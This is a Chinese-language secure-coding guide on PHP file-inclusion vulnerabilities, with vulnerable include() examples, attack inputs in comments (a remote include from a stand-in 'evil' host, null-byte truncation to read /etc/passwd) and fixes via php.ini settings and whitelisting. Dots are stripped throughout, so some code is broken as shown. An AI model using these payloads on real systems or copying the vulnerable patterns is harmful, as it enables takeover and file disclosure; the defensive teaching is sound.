文件包含【高危】
原理概述:
业务系统由于功能实现需要、或者PHP框架本身特性,通常都会通过PHP典型方法包含一些代码文件,如果研发同学编码时,对包含的文件名或文件名部分值没有做好严格校验或过滤,就可能给黑客可趁之机,进而包含黑客想要执行的恶意代码。通常文件包含漏洞分为本地文件包含和远程文件包含。两者区别在于phpini中allow_url_fopen和allow_url_include选项是否开启。
危害
直接执行恶意代码,可能导致黑客获取网站控制权甚至是服务器控制权
造成敏感信息泄露,如:程序源代码,服务器上的敏感文件如/etc/passwd等
BadCase样例
主要涉及到的函数有:include() require() include_once() require_once()
BadCase样例1:
/*
$file通过GET方式获取,未经检查就直接包含,如果phpini中allow_url_fopen
或者allow_url_include为on,攻击者就能让程序包含一个远程恶意文件
如:page=http://wwwevilcom/trojantxt,其中trojantxt中有黑客写的恶意代码
如果不开启上述两个选项,也能造成本地包含,攻击者完全可以上传一个带有恶意代码的文件
然后再去包含这个文件
*/
$file=$_GET['page'];
if($file)
{
include($file);
}
BadCase样例2:
/*
看似include中限制了文件名,但实际上黑客可以通过提交%00(即0x00)来对文件名进行截断
如:page=hackphp%00
又因为PHP会对不能执行的文件内容原样输出,所以攻击者也能通过这个特性读取服务器上的敏感文件
如:page=/////etc/passwd%00
odp框架中pcheck就出现过上述问题:
http://server/pcheck/indexphp?action=/////etc/passwd%00 可以读取服务器上敏感文件。
*/
$file=$_GET['page'];
if($file)
{
include($file"controllerphp");
}
修复建议
如无必要,phpini中设置allow_url_fopen与allow_url_include均为Off,用以防止远程文件包含(防御本地文件包含见第2-5条建议);
样例如下:
; Whether to allow the treatment of URLs (like http:// or ftp://) as files
; http://phpnet/allow-url-fopen
allow_url_fopen = Off
; Whether to allow include/require to open URLs (like http:// or ftp://) as files
; http://phpnet/allow-url-include
allow_url_include = Off
在phpini中设置include_path以及openbase_dir的值为可信赖的路径,只允许包含特定路径下的文件,注意open_basedir的配置,windows下多路径使用分号隔开,Linux下多路径使用冒号隔开
样例如下:
; UNIX: "/path1:/path2"
include_path = "/var/www/"
;
; Windows: "\path1;\path2"
include_path = "d:/php/include/"
; open_basedir, if set, limits all file operations to the defined directory
; and below This directive makes most sense if used in a per-directory
; or per-virtualhost web server configuration file
; http://phpnet/open-basedir
open_basedir ="/var/allowPath1/:/var/allowPath2/"
如果需要动态包含文件,则要对传入的参数值做检查,严格禁止文件名中出现如/以及%00这样的字符,同时要对最终包含的文件名做白名单限制;
参考样例1(首选方案:白名单控制,通常用于在MVC框架中初始化控制器等功能模块,因为通常情况下controller/model/view类总是事先定义好的):
$file=$_GET['page'];
$allowFileWhiteList=array(file1,file2,file3); //白名单控制允许包含的文件名
if(!in_array($file,$allowFileWhiteList))
{
die("Error!");
}
else
{
include($file"classcontrollerphp");
}
参考样例2(对文件名做正则校验,适用于无法用白名单的情况)
$file=$_GET['page'];
/*
对文件名做正则检查,通常每个产品线都会有自己的命名规范,且文件名长度也都不会太长
本例中取文件名长度不能超过20个字符,各产品线可根据自己的情况进行调整表达式及文件名长度
*/
$pattern='/^[a-zA-Z]{1,20}$/';
if(!preg_match($pattern,$file))
{
die("Error!");
}
else
{
include($file"controllerphp")
}
如果应用中需要包含的文件名是可预知的,建议直接在代码里面做硬编码,彻底取消由外部传入参数这条途径